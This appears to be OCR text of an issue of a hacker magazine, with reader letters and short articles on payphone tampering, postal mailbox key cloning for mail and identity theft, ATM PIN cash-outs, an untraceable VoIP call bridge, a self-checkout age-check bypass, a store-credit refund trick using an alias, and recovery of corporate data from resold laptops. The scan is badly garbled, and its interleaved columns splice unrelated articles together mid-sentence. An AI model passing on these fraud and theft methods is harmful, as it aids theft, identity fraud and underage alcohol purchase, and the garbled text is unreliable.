a county j a i l ,  I m u st convey that dr i n k i ng and What other pub l i cat ion matters ? )  

dr iv ing i s  not worth i t .  The paper q u a l ity i s  great But what cata l yst l ed to the brea k in my, 

and when I get out of here later th i s  month, I a hem, lazy spe l l ?  A " l i tt le"  book about a hacker's 

l ook forward to enjoy i n g  my next i ssue i n  a l l  odyssey. 

i ts sp lendor. Sca n n i ng the " E l ements," I was I knew noth i ng of 2600 com i n g  to pr i son -

amazed to see an art i c l e  by the i nfa mous N ick  hel l ,  I d i d n 't know much of a nyth i n g  arr iv ing at  

Farr !  After read i n g  the p iece on hacker spaces, I the age of 1 7 . A yea r i nto my sentence, as the 
was bum med out that he d i d n 't ment ion one of rea l i ty of pr ison l i fe came i nto focus  and my 
h i s  greatest ach ievements: Rub iCon ! paradigm s h i fted to study, a Jersey k id  came 

Rub iCon was the fi rst con ever he ld  in the a l ong and a l tered my path forever. Over the 
Detroi t  a rea, begi n n i ng in 1 999 .  R u b i Con 2 000 next six months, I p i cked h i s  bra i n  for every box 
was the fi rst and o n l y  conference I 've been p lan ,  phreaker ta le, and p iece of hacker lore he 
to, and i t  was outstanding! I t  was a th ree-day cou l d  remember. With zero techno logy access, 
event, and Friday morn i n g's m a i l  brought me an I can remember handwrit ing DOS commands 
u ltra-portab l e  IBM Th i n kpad S60.  I d i d n 't have and being very frustrated by a l l  h i s  damn error 
time to i nsta l l  any app l i cat ions but when I h i t messages. 
the network room ( l i ke a wh i r lw i nd),  generous I t  was a yea r after he and I parted that I got 
sou l s  were there with PCMClA CD-ROM dr ives.  my fi rst copy of 2 600 - which you sent me for 
I was treated to the hosp i ta l i ty of a techno logy free . In a word, I fe l t  empowered . In the pr ison 
tact ic ian  who hooked me up with a d u a l -boot i nformation vo id ,  I encou ntered the s u m m u m  
i nsta l l  o f  S lackware 7 .  There w a s  a l so a cadre of bon u m  of i nformatio n .  Much of my education i n  
Mac-Hack spec i a l i sts, i nc l u d i ng EchO, the guru .  the tech sector was  reverse eng ineered around 
R ichard Th ieme even gave the keynote addres s !  top ics and l eads i n  2600. 

Of cou rse, antics and vanda l i sm ensued,  and Fast forward to this J u l y  - my 2 s th b i rthday. I 
great fu n was had by a l l .  If it wasn 't for N i ck  got a copy of  2600:  A Hacker Odyssey. I read a l l  
Farr reserv i ng rooms for peop le  without cred i t  871  pages before S O, OOO vo lts of macrocos m i c  
cards and d i ffu s i n g  i ncend iary s i tuat ions { l i ke l ightn i n g  struck my bra i n .  
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Hacki  ng i s  more a p h i l osophy and approach to 
l i fe than a mea n s  to an end.  It is reason by defa u l t  
i n  a n  age now rampant w i t h  Orwe l l i a n  n ight­
mare.  S u re, we cou ld  happ i ly  spend our days 
d i ssect ing  some new technology, but how often 
a re we p u l led i nto point ing out, and oft t i mes def­
end ing  the conscious from l ud ic rous i nvas ions  of 
r ights and pr ivacy ? Or how about poki ng holes i n  
a l l  the fa ux  sec u r i ty that never cease popp i n g  up?  

S i m p l y  put, thanks .  You carved a n iche for 
our  c u l ture, spea rheaded oppress ion with a n  
i l l u m i nated vo i ce, and a l ways rema i ned a 
l i ghthouse for stragglers try i n g  to navi gate a 
someti mes foggy hackerdo m .  

Joseph 
Dear 2600: 

I am a new su bscr iber who f ina l ly managed 
to buy h i s  own subscr ipt ion .  I ' m  i ncarcerated i n  
Texas a n d  they d o  not pay u s  o n e  red cent for 
forced labor, i nstead g iv ing us good conduct and 
work t ime cred its that, i n  rea l i ty, do not  mean 
a nyth i ng beca use as a model  i n mate I have 7 50 
percen t of my t ime completed . 

My rea son for writ i ng is to share my earl iest 
hack ing  experience with you and you r  readers. 
In 1 967,  I was about 1 2  years o l d .  L iv ing  i n  
I ngl ewood/H awthorne i n  t h e  suburbs o f  Los 
Angeles, I used to s h i ne s hoes and k ick  open 
paper racks for the newspapers to sel l on my 
homemade route. The H o l l ywood Park horse 
racetrack was at the northeast corner of my 
route and a l l  the w i n ners and losers h u n g  out 
in the many ba rs of the area, at wh ich  I s h i ned 
shoes and sold newspapers. Good money for a 

Looki  ng arou nd, I saw two bel l s  and the stri ker 
and a bunch of w i res - w i re ends u nder screws ­
a l l  except one ye l l ow w i re .  I p icked up the 
receiver with no dia l  tone and started touch i ng 
the w i re to d i fferent screw head term i na l s  u nti l 
"b ingo," I had a d i a l  tone.  I m med iate ly, I h u ng i t  
u p  and the change ejected i nto the coin return 
c u p  - so much that i t  wou l d  not open up.  At th is  
poi nt, I attached the ye l low w i re, secu red the 
b l ack cover, and then proceeded to j iggle the 
coi n return cup u nti l the co i n s  moved around 
enough to  a l low the c u p  to  open .  And i t  d i d  
i n deed : two and a ha l f  c u p s '  worth, or about five 
dol lars, or ten shoe s h i nes.  

My mother once asked me where I was 
gett ing  al l  the change .  I cou l d  te l l  my mother 
a nyth i n g  - I mean a nyth ing .  I had no father i n  
the house s o  Mom tried to use the " l ogica l "  
route when I to ld  her I had a newfound way 
of mak ing  money and exp l a i ned it to her. Even 
though her whole face l i t  up, she c a l m l y  asked 
me, "What if someone was h u rt and needed he lp  
and the phone d id n't work?" Today, log ic  works 
better than anyth i ng, j ust l i ke when I was 1 2 . 
Of cou rse, as a 1 2 -year-o ld ,  I had the "fi nders­
keepers" mental i ty. 

L i ke Dr. Zolta n stated, the essence of hacki ng 
i s  exp loration, led by cu r ios i ty. I t  i s  about figu r ing  
out the ru les and then  bend i n g  those ru les to 
make someth i n g  new. At 1 2  years o ld,  those 
co i n s  were new. At least to my l i tt le  i n q u i s i t ive 
hands .  

Michael Earl Short 
Rosharon, TX 

1 2 -yea r-o l d .  Dear 2600: 
One of the th i ngs I did was to check each and On a recent ed it ion of Off The Hook, you 

every payphone.  Older cats w i l l  remember the ta l ked a bout ma i l  carr iers and thei r mai l box 
old b lack  rota ry d i a l  payphone with a quarter s l ot keys .  Those keys are for ope n i n g  up those rows 
on the left, d i me s l ot in the m i dd le, and n i ckel of mai l boxes in a l most a l l  b u i l d i ngs, p u b l i c  and 
s lot on  the r ight .  To the far r ight was the co i n  pr ivate. I heard you speak about how easy i t  
return pushbutto n .  The fi rst t h i n g  I d i d  was check wou ld be to buy one of those l i tt le  " key boxes." 
the co i n  return on the bottom, then pick u p  the Yes, it 's easy. Anyone can buy one.  Yet it's faster 
receiver l i sten i ng for a d i a l  tone, then push the and cheaper j ust to steal  one off a wa l l  or door on 
co i n  return button rap id ly  severa l  t i mes, and the outs ide of  one of  those b u i l d i ngs. Once you 
hang up,  l i sten i ng for co i n  eject ion .  have one of  those boxes, you take a "dremel "  

O n e  day wh i l e  "check ing  phones" i n  a n d  gr ind off the r ivets a n d  ta ke the box apart .  
between bars, I pushed the co in  return and i t  fe l t  I t's a l l  brass, so the meta l i s  soft. O n c e  the box 
heavy - but there was no d i a l  tone.  I tr ied us i ng i s  i n  two parts, you can make a key from the 
the rece iver as a m i ld hammer on the co i n  return tumblers. I t's way too hard to exp l a i n  i n  writ ing 
button but noth i ng happened . how one wou ld make a key, yet I 've done t h i s  so 

As I was wa l k i ng away, I noticed a b l ack box many t i mes I can a l most make one from memory. 
u nder the l i tt le  tab le .  It seemed s l i ght ly  aj a r  but  Once you make that key (and i t  should o n l y  take 
sti l l  had the two screws in i t .  R i d i n g  past Bob about a n  hour  to make it), you can open u p  any 
Ketc h u m  Sport ing  Goods ( the same one that  b u i l d i n g  and those mai l boxes that mai l carr iers 
the Symbionese L i berat ion Army had a major have access to. G reat amou nts of ident ity can be 
shootout at - t h i n k  Patty Hearst), I stopped i n  grabbed that way. I t's a n  o l d  school way of do ing 
and bought my first too l,  a min i  screwdriver with  i t  compared to p h i s h i ng on l i ne. Back i n  the 90s, 
a pocket c l i p .  I went back to that payphone, I u sed to stea l lots of m a i l  a n d  hook u p  ba n k  
l ugg i ng my s h i ne box a n d  ten newspapers, a n d  accou nts, cel l phones, bas i ca l l y  anyt h i n g  that 
I u nscrewed the cover, not know i ng what was req u i red i nfo to get goods and serv i ces. 
i ns i de.  For some reason, I was completely  calm I was a member of s hadowcrew.com. I a l so 
and I knew I was i n  my e lement.  ra n my own message board ca l led thegrifters.  
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net. Goog l e  "hacked P INs"  a n d  my n i ckname 
to f ind my podcast of how I sto l e  h u nd reds of 
thousands from ATMs.  Data that was " hacked" 
i s  not ID theft, it's freak i ng data theft. Over the 
years from 2 003 to 2 006, I worked with other 
o n l i ne carders to cash out P I N s  u s i n g  debit 
n u m bers with PIN n u m bers encoded onto b l a n k  
PVC cards encoded w i t h  a n  MSR206 that c a n  
b e  p u rchased a l most anypl ace o n l i ne a long 
with the b l a n k  PVC cards, usua l ly by the same 
vendors. It's so s i m p l e  to do. 

Let me a l so ta l k  about a n  a rt ic l e  in The New 
York Times on the front page of August 1 2 , 2 008 
ent i t led " Deta i l s  Emerge on How a Cyber- R i n g  
Was Foi led." I n  t h i s  a rt i c l e  i t  says t h e  Sec ret 
Serv ice concl uded "Operat ion F i rewa l l ," an 1 8  
month i nvest igat i o n .  What it  fa i l s  to say i s  that 
d u r i n g  those 1 8  months, the F B I  and Secret 
Serv ice let h u n d reds of c r i m i na l s  buy, se l l ,  and  
trade thousands of  peop l e's i nfo . 

Johndi l l inger 
It sounds like you have some stories to tell. 

We hope people can learn something from your 
experiences and tha t  you won 't have any more 
such experiences once you get out. 
Dear 2600: 

I 'm present ly  serv i n g  time in the federa l pr ison 
system, but, see i n g  the news on TV regard i n g  
w i retapp i ng and the carte- b l a nche freedom t o  d o  
s o  provided by t h e  U . S .  government t o  the i r  new 
a l l ies the te lecoms, there i s  no freedom left. The 
E l ectro n i c  Com m u n icat ions Pr ivacy Act of 1 986, 
a law I be l i eve that was created i n  react ion to 
M r. Mi tn ick's resea rch,  i s  now voi d .  No warrant 
i s  needed, no f ines a re g iven to the te lecoms 
for any breach i nto what was once considered 
pr ivate: our ema i l s  and phone conversat ions .  

To quote l oose l y  the e lder ly  B i ff Ta n nen from 
Back to the Future, "Get a safe system ! "  Encrypt 
you r  whole system, keep you r  passwords secret 
when asked for by the "author it ies" ( F ifth 

Then why, on the warra nt used with me d i d  i t  
have above the Treas u ry Depa rtment l etterhead 
"Homeland Secu r i ty?"  Cou nterfe i t ing  and 
computer cr i mes a re not  the same as  stri k i n g  fear  
i n to i n n ocent v ict ims .  

David L.  Wi l l iamson #22678-057 
Federal Correctional I nstitution 

PO Box 1 000 
Loretto, PA 1 5940 

The Future 
Dear 2600: 

I j ust wanted to share my thoughts about the 
past e lection .  I was e l ated that Oba ma won j u st 
l i ke many were that n ight when he was dec l a red 
the Pres i dent-e lect. The celebrat ions b lew me 
aback even and I had been worried before the 
e lection about who wou l d  w i n .  I had sent ema i l s  
to m y  "non hacker" budd ies a n d  they rea l l y  d idn 't 
seem to u nderstand my enthus iasm with th i s  
event. Yet some of  my "hacker" buddies sa id that 
this was l i ke when the Ber l i n  Wa l l  came down or 
the end of a d ictators h i p .  They don't even l i sten to 
you r  shows or know that much of you r  magaz ine 
as I have encou raged them to dow n l oad and buy 
you r  materi a l ,  but  what's i nterest ing  i s  we a l l  
seem to b e  o n  the same wave length i n  rega rds 
to the res u l t  of th i s  e lect ion .  For me, bei ng  a Star 
Wars n ut, this was akin to throwing the emperor 
i nto the p i t  wh i l e  he was yel l i ng a l l  the way down 
(overth rowing  the negative right w i n g  tactics of 
the past eight years maybe) and then see ing  the 
ga laxy celebrate the Rebe l s  w i n n i ng (wh ich I 
p l ayed after I saw the g lobal  cel ebrat ions a round 
the wor ld as a persona l th i ng) .  

Th is  was a n  h i stor ic  e lection and I never rea l l y  
had s o  much emotion overcome m e  that n i ght. 
However, l i ke anyth ing  e l se, I wi l l  watch with a 
caut ious eye l i ke a programmer wou l d  do when 
see ing  his software come to l i fe . Progra m m i n g  i s  
a process j ust l i ke the nat ion and the wor ld  i s, but  
for now th i s  i s  a t i me to celebrate i n  hopes of  a 
better tomorrow. 

PhrOzenSane 
Amendment pr iv i l ege), whether i t's in the i r  Dear 2600: 
Waco- l i ke ra ids or at the a i rports a n d  borders. I was recent ly i n terviewed for an IT posit ion . 
Even do Freedom of I nformation Act req uests One question they asked caught me off guard: 
i f  you fee l the need to know what the I nj ustice "Are you a hacker?" I cou ldn 't l ie.  If  I get the job, 
Department i s  u p  to. sooner or l ater he wou l d  see me read i n g  2600, 

My ma i l  is checked, my phone ca l l s  a re wear ing  one of you r  t-sh i rts, tak i n g  t ime off to 

monitored, but I ' m  i n  pr ison,  a so-ca l led "secur ity attend hacker conferences, or he'd fi nd out I ' m  

r i s k . "  A s k  you rse l f  t h e n :  if y o u  a re s o  free, why affi l i ated with HackM i a m i .  I j u st hope I d idn 't 

a re you r  com m u n i cations, you r  dow n l oads, you r  shoot myse l f  i n  t h e  foot. 

u p l oads, you r  sna i l  m a i l ,  and  your movements JP 
You 're better off being honest about who 

(through the Rea l I D  c h i p) kept track of? you are and seeing if that  poses a problem for 
To q uote M i chael  Chertoff, i n  response to a people down the line. But when posed with such 

reporter's q uest ion about the constitut iona l  r ight questions, we should make sure they understand 
of c it izens in regard to Home l a n d  Secur i ty and how the term is  defined. You are likely not  a hacker 
the Patriot Act, "Homeland Secur i ty's and  the in the mainstream media definition but very 
Patriot Act's o n l y  p u rpose is to fight terrori sts a n d  definitely a hacker i n  the creative, individualistic, 
terror i sm.  It does not h ave any harmfu l effect on free-thinking definition. Of course, knowing that  
c it izens'  r ights ." may scare your future employers even more. 
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By Pappy l i ne to sta l l  any trac i ng .  You ' l l  need a two FXS 
port ATA such  as the L i n ksys PAP2T (OK, that 

N ot m u c h  has been w r i tten a bout  the gave us  the name Pappy), two standard s i l i con 
C h eese Box over  the years ,  and much of  d i odes (Rad io  Shack 2 76-1 1 1 4) a n d  a n  aud io 
w h at h a s  been w r itten i s  most  often way i so lat ion tra n sformer (Rad io  Shack 2 73 - 1 3 74) .  
off tra c k .  Descr i pt ions  of the C h eese Box Set  u p  two anonymous Vol P  accou nts o n  
ra n ge f r o m  "Tu r n  you r  h o m e  p h o n e  i nto a the PAP2T. I u se Free Wor ld  D i a l u p a n d  G i zmo. 
p ay p h one" - yea h ,  r ight  - to m a k i n g  a "Ca l l  Cha nge the fo l lowi n g  sett i n gs :  R E G I O N A L  - set 
D iverter." Wrong aga i n  - d iverters h ave the i r " R i ng Voltage" to "0." L I N E  1 - set "C I D  Service" 
p l ace, but  they a re c o m p l ete l y  d ifferent.  A to " N O "  a n d  set " I d l e  Po l ar i ty"  to " Reverse ." 
C h eese Box i s  a remote l y  p l aced device (box) L I N E  2 - same c h anges as L i ne 1 .  
that w i l l  accept two separate i nc om i n g  c a l l s  N ow for the w i r i ng :  Put a d i ode i n  ser ies 
from two separate p h o n e  l i n es, a n d  c o n n ect with one side of L i n e  1 com i n g  out of the ATA, 
them together. S i m p l e  idea,  but  n ot a l ways then connect that l i ne to the w h i te and b lack 
a s i m p l e  d ev i c e .  The best desc r i pt i o n  comes wi res of  the audio i so lat ion tra n sformer. I f  the 
from the i nventor of the C h eese Box h i mself, ATA shows that the l i ne is O F F  HOOK - the 
M i c key Ca l l a h a n ,  aka  " C h eesebo x  C a l l a h a n,"  fi rst green LED on the PAP2T w i l l  f lash - then 
who made bu gg i n g  devi ces for the l i kes of AI  reverse the po lar ity of the d i ode.  You want the 
Capone. There's even a bo o k  a bout  h i m .  l i ne to be O N  HOOK ( not i n  u se) i n  i ts i d l e  

T h e  idea i s  t o  h ave o n e  I i n e  for the " bookie"  state . Con n ect L i n e  2 ,  in  ser ies  with  the other 
and the other l i ne for "bettors" to c a l l  in o n .  d i ode, t o  t h e  red a n d  ye l l ow w i res o f  t h e  a u d i o  
The bo o k i e  c a l l s  o n e  n u mber a n d  s i ts a n d  iso lat ion tra n sformer, a l so chec k i n g  for p roper 
waits. Bettors ca l l  the other n u mbe r, one after d i ode polar i ty. 
the other, a n d  p l ace the i r bets. The book ie  The theory be h i n d  th i s  Cheese Box i s  that 
n ever has to h a n g  up ,  they j u st l i sten for the the PAP2T provi des a battery reversa l when 
n ext c a l l er. N ow, the cops a re eventu a l l y 

ca l led by an outside pa rty, j ust l i ke the o l d  days. 
goi n g  to get the bett i n g  n u mbe r  and trace it,  

The d i ode causes a com p l ete c i rc u it with one but  a l l  they w i l l  f ind i s  the  C h eese Box by itse l f  
s ide o f  t h e  i so lat ion tra n sformer w h e n  a ca l l  

a t  some remote a p a rtment o r  s u c h .  W h e n  the 
C h  B ·  m ·  d the b k ·  h ' is received a n d  ho lds  the l i ne ope n .  The same . eese ox  I S  compro I se , 00 I e  a ngs 
up a n d  is n ever located . goes for the other s i de, 50 re lays are not needed 

to a n swer a l i ne .  The tra n sformer makes a ta l k  Tech n i c a l  descr i pt ions  vary from a c o u p l e  
of z e n e r  d i odes a n d  capac i tors t o  e l abo rate path between the two l i nes, so the ca l l ers can 

rel ay and vo ice co i l des igns ,  depe n d i n g  on hear each other. R i ng c u rrent i s  cut  off, so that 

w h at type of o l d e r  centra l off ice switch the i t  won't be fed back to  the other l i ne .  

l i nes  were c o n n ected to . O K ,  so w h at good i s  N ow, how do you use t h i s  th i ng?  H i de 

that now? O l d e r  e l ectro-mec h a n i c a l  switches you r  Cheese Box in a data room or  a nywhere 

had spec if ic  e l ectri c a l  c h a racte r i st ics  that  con nected to the I nternet other  than you r 

a l l owed devi ces s u c h  as the B la c k  Box to own house.  G ive the second Vol P  l i ne a PSTN 

work. I t  was  common for them to reverse l i ne n u mber so that it can be ca l l ed from a nywhere. 

p o l a r i ty at  d i fferent stages of a c a l l .  You won 't I u se I PKa l 1 a n d  i t's free. You can  f igure out a l l  
fi n d  that  w i t h  today's d i g i ta l  centra l off ices.  the ways to be anonymous over the web. Start 
B u t  there i s  a way. E nter Pappy's C h eese Box.  from a free W i F i  hotspot a n d  ca l l  the fi rst l i ne 

The c o ncept of Pappy's C heese Box i s  through F W D  or  whatever. S i t  a n d  wa i t  for 
to use Vol P  as the med i u m .  O l d  a n d  new c a l lers to c a l l  you r  p u b l i s hed I PK a l 1 n u mbe r  
tec h n o l og ies  comb i ned .  You ' l l  n eed access and ta l k  with them j ust l i ke you 're o n  you r 
to the n et, of cou rse, a n d  two Vol P  accou nts own perso n a l  l oo p  a ro u n d .  Tra c i n g  a ca l l to 
- there a re l ots of free ones, FWD, etc . I you  w i l l  be j ust as d iffic u lt, if not  more so, 
recommend u s i n g  d i fferent serv ices for each t h a n  trac i n g  a c a l l  from C h eesebox Cal l a h a n .  
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by Yimir 
roi noirCq1hotmai l .com 

Over the past few yea rs most l a rge 
g rocery store c h a i n s  have i n trod uced 
"membe rs h i p "  o r  " c l ub "  ca rds .  These cards 
m a ke i t  easy for corporat ions  to c reate 
l a rge databases of consumer  spen d i n g  
hab its .  They a l so, p resumab ly, a l l ow 
the corporat ion  to track a n  i nd i v i d u a l  
consumer ' s  hab i ts .  Th i s  a rt i c l e  i s  a bout  
how to use th i s  database aga i n st the 
corporat ions .  

Background 
On a recent  tr ip to the grocery store, I 

dec ided to use one  of the i r  se l f-cheek-out 
mach i nes for the fi rst t ime.  I sca n ned 
my  members h i p  ca rd and then sta rted 
sca n n i n g  my grocer ies .  When I sca n ned 
my beer, a message popped up on  the 
screen and a store emp loyee came over. 
H e  asked for my d r iver ' s  l i cense, ver if ied 
my  age, scan ned in a ca rd dang l i n g  a ro u n d  
h i s  neck, typed i n  a p i n  n u m ber, and  then 
m y  t ra n sact ion  was comp leted . 

A few days l ater I went back to the 
g rocery store a n d  u sed the se l f-cheek-out 
mach i ne .  I scan n ed my membersh i p  ca rd 
a n d  then m y  beer. To my su rpr i se, no 
message popped u p  on  the sc reen and 
no  emp loyee t r ied to  ver ify my age .  The 
database recorded the  fact that  I was  over 
2 1  a n d  a l l  I n eeded to do to p u rchase beer 
was scan my members h i p  card .  

n u m ber  i s  u sed to generate the  barcode 
that the m ac h i n e  scans .  I t  is a l so u sed to 
ident i fy the person in the database. 

One cou l d  take t h i s  n u mber, and u s i n g  
var ious  too l s  o n l i ne, generate a ba rcode 
that cou l d  be  p r i nted out .  Tap i n g  t h i s  onto 
other members h i p  cards wou l d  i n  effect 
c reate a fa ke I D. There a re d i fferent  formats I 
for barcodes, so some exper i mentat ion  i s  
necessa ry. 

Another  way to hack the system is to 
p u rchase a 1 2  pack of soda a n d  cu t  out  i ts 
ba rcode; soda a n d  beer we igh about the 
same and  shou l d  foo l  the weight  sensor. 
Then ,  o n  a nother  tr i p to the store, tape 
the soda ba rcode over the ba rcode for a 
1 2  pack of beer. When it i s  scan ned, the 
system wi l l  th i n k  i t  i s  soda and not requ i re 
a n  emp l oyee to ver ify the cu stomer ' s  
age. Th i s  hack  i s  most effective when  t he  
emp loyees a re d i stracted o r  h e l p i n g  other 
patrons ,  as  an obv ious l y  u nderage person 
sca n n i ng a case of beer that the mach i n e  
reads  as  soda  i s  su sp ic ious .  A l so, t h i s  
wou l d  o n l y  work w i t h  a se l f-cheek-out 
mach i ne .  

Conclusion 
When I was u nderage (oh, so many 

years ago )  i t  was d i ffi c u l t  to  p u rchase beer. 
I spent many  hou rs c raft i ng  fake 1 05 to 

The Hack 
foo l  peop le .  N ow a l l  a k i d  needs to do i s  
wh i p  u p  a ba rcode a n d  foo l  a d u m b  se l f­

Th i s  a rt i c l e  i s for i nformat ion  p u rposes check-out m a c h i ne .  Th i s  shou l d  be a l esson 
o n l y, bu t  i f  someone u nderage wan ted to 

to corporat ions :  go a head and co l lect data 
hack th is  system to buy beer i t  wou l d  be 

on  consu mers ,  bu t  be prepared for the very easy. One  cou l d  take the members h i p  
ca rd o f  a nyone  t h e  system h a s  p rev iou s l y  consumer  to  fi n d  ways to  use t ha t  data 

author ized to p u rchase beer a n d  u se it ( i . e .  aga i n st you .  

Mom, Dad, o l de r  s i b l i ng) . A l ternat ive l y, Shout out to Chostie and his a rticle 
most of the membersh i p  ca rds h ave a "Singapore Library Mischief" in the 
members h i p  n u m ber  p r i n ted on them.  Th i s  A utumn 2006 issue o f  2600. 
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G a m ; n 
Gaille 

by Unanimously 
Anonymous 

At Gamestop, you can trade i n  you r  
o l d  games a n d  h a rdware for store cred i t  
o r  cas h .  W h e n  y o u  a s k  for cash  rather 
than store cred i t, though,  the store 
red uces you r  trade- i n  money by twenty 
percent .  Here ' s  a way to t u r n  t h i s  a ro u n d  
t o  a n  extra twenty percen t  p rofit wh i l e  
st i l l  gett i n g  cash i n  retu r n :  

1 .  B r i n g  i n  you r games a n d  h a rdware. 
W h i l e  the cash ier  is p rocess i n g  
you r  trades, ask  w h a t  games you 
can pre-order and receive a n  
extra twenty percent store cred it  
towa rds .  Every month,  there i s  a 
spec i a l  promot ion  towa rds th ree 
part i c u l a r  games that  you w i l l  
receive a n  extra twenty percent 
c red i t  for pre-order i ng .  

2 .  Te l l  the cas h ier  you wa nt to 
pre-order one of those games . I t  
does n ' t  matter wh ich  one, but try 
to remember the n a m e  of i t  for 
l ater. Ask what systems the ga me 
i s  for  and p i c k  one r ight  away in  
order  to n ot look too s h a dy. You ' re 
go i ng to h ave to g ive out  you r  
n ame, add ress, phone n u mber, 
and ,  depend i n g  o n  the cas h i er, 
you r date of b i rth . H ave an a l i as 
if you don ' t  wa n t  to g ive out  you r  
rea l  i nfo . I n  a l l  honesty, these fi l es 
j ust s i t  i n  a d rawer i n  Texas  for 
fou r  years u nt i l they a re s h redded . 
Check the rece i pt a n d  m a ke s u re 
you got the extra twenty percent.  
Save the rece i pt !  

3 .  Leave t h e  store for t h e  d ay. You 
won ' t  h ave the cash r ight  away, 
but  pat ience i s  a v i rtue .  

4 .  C o m e  b a c k  t o  the store the next 
day, at the ear l i est .  You h ave to go 
to the same exact store. H opefu l l y 
a d i fferent cas h ier  w i l l  be work i n g, 
b u t  if not you c a n  probab l y  get 
away with  t h i s  a nyway. Te l l  the 
cash ier  you want to cancel  the 
game you p re-ordered . H a n d  
t h e m  t h e  rece i pt, w h i c h  w i l l  h ave 
the order i nformat ion on i t, so 
they won ' t  a s k  to see you r  I D. If 
they do, k i n d l y  i nform them that  
you wou l d  rather n ot a n d  the 
i nformat ion i s  r ight  o n  the s l i p .  

5 .  O n ce t h e  order i s  cance l l ed, they 
w i l l  proba b l y  ask what game you 
wa nt to p re-order in i ts p l ace.  You 
ca n say that you ' d  rather h ave the 
cash  for n ow. If  they g ive you a 
h a rd t i m e  about it, k i n d ly te l l  
them that you u sed to work a t  a 
Gamestop a n d  that  you k n ow that 
cash can be given,  even w ithout 
consent from a m a nager. They 
may ask you for you r  i nformat ion 
aga i n , so if  you h ave a n  a l i a s  set 
u p, m a ke s u re to g ive the same 
i nfo. You ' l l  a l so h ave to s i g n  a 
s l i p, so p ract ice you r i l l egi b l e  
scr i bb l i ng.  You ' l l  get you r  own 
copy of the rece i pt a long w i th 
you r  cas h .  

So, i nstead o f  l o s i n g  twen ty percent  
o n  you r  trade a n d  be i n g  forced to spend 
you r  m oney at G a m estop, you get an 
extra twen ty percen t  and c a n  spend i t  
a nywhere you wa nt .  

Down with the used games monopoly! 
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Vu l nerabi l it ies i n  the 
Corporate Sector 

by =-virus-= 

I f  you search any auct ion s i te, you wi l l  f ind 
lots of laptops and desktops for sa le .  Many of 
these computers are sold with the hard dr ive 
sti l l  i ns ide.  The computer is sent to you with 
no part i t ion tab le  on the dr ive, or a fres h l y  
i nsta l led operat i ng system on i t .  However, the 
hard dr ive had a l l  of i ts data prev ious ly  erased, 
s i nce no one i ntends to have confidentia l  
data float ing  a round an  auct ion s i te, l et a lone 
corporate data (such as what cou l d  be fou n d  
on a corporate lease l aptop s o l d  on an  auct ion 
s i te) .  Th i s  i s  an  art i c le  about retr iev ing  that 
data. 

I took i t  u pon myself to see what I cou l d  
f ind,  and if I was ab le  t o  successfu l l y recover 
data. I went on a common auct ion s i te and 
bought a cheap laptop. I wa nted the hard 
dr ive, so I searched for a l aptop that had been a 
"corporate lease" at some po in t  i n  its jou rney 
to me. F i rst I wou l d  need some too l s :  

• 2 . 5 "  IDE  ( l aptop) hard dr ive 
enc losu re 

• USB cab le for enc losure 
• FAT32 / NTFS fi l e  recovery software 
• li me 
When i t  arr ived I h u rr ied to open both the 

box and the laptop. When I looked i ns ide the 
laptop though, I rea l i zed I had come across 
a bump in the road .  The hard dr ive was not 
2 . 5 ", i t  was 1.8" and addi t ion a l l y  i t  had a 
spec i a l  con nector, not the standard 1.8" I D E  
connector. For a moment I thought I wou l d n 't 
be ab le  to do much with th i s .  

Then I got a n  idea .  I wou l d n 't t ry  to 
i nsta l l  anyth i ng on the hard d r ive, in fea r  
o f  wr i t ing over any data . F i rst th i ngs fi rst, I 
booted the l aptop with a L i n u x  boot d i sk  to 
see what the dr ive conta i ned. It was b l a n k. 
But  had th i s  been an NTFS formatted d r ive 
before? If it had been, I may be i n  l uck, 
s i nce NTFS stores a backup copy of the 
MBR and fi l e  tab l e  in a second port ion of 
the hard dr ive. The M i crosoft arti c l e  can be 
read at: ht tp : //searchwincompu ting . 

- t ech t ar ge t . com/ t ip / O , 2 8 9 4 8 3 , 

- sid6 8_gcil 1 9 4 1 4 4 , O O . html 

I searched through the hard d r ive, sector 
by sector, and fou n d  the backup M B R, but  
i t  wasn 't comp l ete. I t  seemed th i s  d r ive had 
more done to i t  than a s i m p l e  format. They 
had de leted the part i t ion tab le  and may 
have created a secon d  one on top as wel l .  

I wou l d n 't b e  ab le  t o  copy a n d  paste the 
backup NTFS hex code to the front sector. 
What cou l d  I do next? 

The NTFS recovery progra m was a 
Wi ndows XP based one, CetData Back NTFS 
(ver :  3) .  H ow cou l d  I scan th is  dr ive w ith i t ?  
F i n a l l y, after a n i ght of poor s leep, I f igu red 
it out.  I 'd copy the dr ive !  Norma l ha rd dr ive 
copy i ng wou l d  mean I 'd o n l y  get a copy of 
the sectors that had actua l  data on them, not 
ma rked by the d r ive fi le  tab le  as "wr i te over 
me". I made a boot d i sk  u s i n g  B a rtPE,  and  
used a program tha t  made a sector for sector 
copy of the hard dr ive. Th i s  is very i m porta nt.  
A hard dr ive c l on i ng program that can hand le  
sector for sector c l on i ng m ust be  used .  Th i s  
wi l l  m a k e  an  exact copy o f  t h e  dr ive, w i t h  a l l  
errors, fau l ty sectors, h i dden data, etc . I let 
the c l on i ng program do its th i ng, copy i n g  the 
1. 8 "  drive to an  extra externa l  d r ive. Note :  The 
dr ive you clone to wi l l  be comp lete ly  erased 
and rep l aced with data from the dr ive you a re 
c lon i ng. Use a spare dr ive that ' s  at least as b ig  
as the d r ive you are c lon i ng.  I let i t  run  for the  
n i ght. 

The next day, I hooked u p  the dr ive I had 
c loned to my Wi ndows box, and  sta rted up  
the NTFS recovery program.  I to ld  it  to  scan 
for any fi l e  structure that was s i m i l a r  to NTFS 
or FAT32 ,  and I selected the dr ive (not a ny 
part i t ion of the externa l  dr ive) as source. I t  
found  a few sou rces and I selected the l a rgest 
NTFS part i t ion i t  l i sted for me, and let the 
program ru n .  About seven hours l ater i t  had 
found  every lost b i t, and put i t  in a n i ce fi l e  
structu re for m e .  I copied a l l  t h e  data to a safe 
l ocat ion .  I was excited to see what I wou ld  
reap.  And reap I d id .  

I had stu mb led across the persona l  fi les, 
p i ctures, d iagrams, and,  best of a l l  " . pst" fi les 
of an employee at an IT fi rm ! (The . pst f i le, 
for those not fam i l i a r  with Out look, is where 
a l l  the contacts, appoi ntments, and ema i l s  are 
stored . )  I ' m  sti l l  sort i ng through it a l l ,  though 
off the bat I am able to see VPN access fi l es, 
VPN keys, PC P keys, i nterna l  ema i l s, l i n ks, 
i nformat ion, etc . Th i s  cou l d  lead to a whole 
host of attacks, both technolog ica l  and soc i a l ,  
on th i s  company. 

The i m portant  lesson here is if you a re 
sel l i ng off extra computer equ i pment, make 
s u re you get a profess iona l  to get r id  of a l l  
you r  data, even i f  i t  means mel t ing the ha rd 
dr ives down . 
